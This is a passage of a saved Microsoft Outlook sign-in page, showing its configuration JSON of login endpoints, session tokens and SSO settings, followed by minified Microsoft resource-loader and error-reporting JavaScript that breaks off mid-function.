LdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
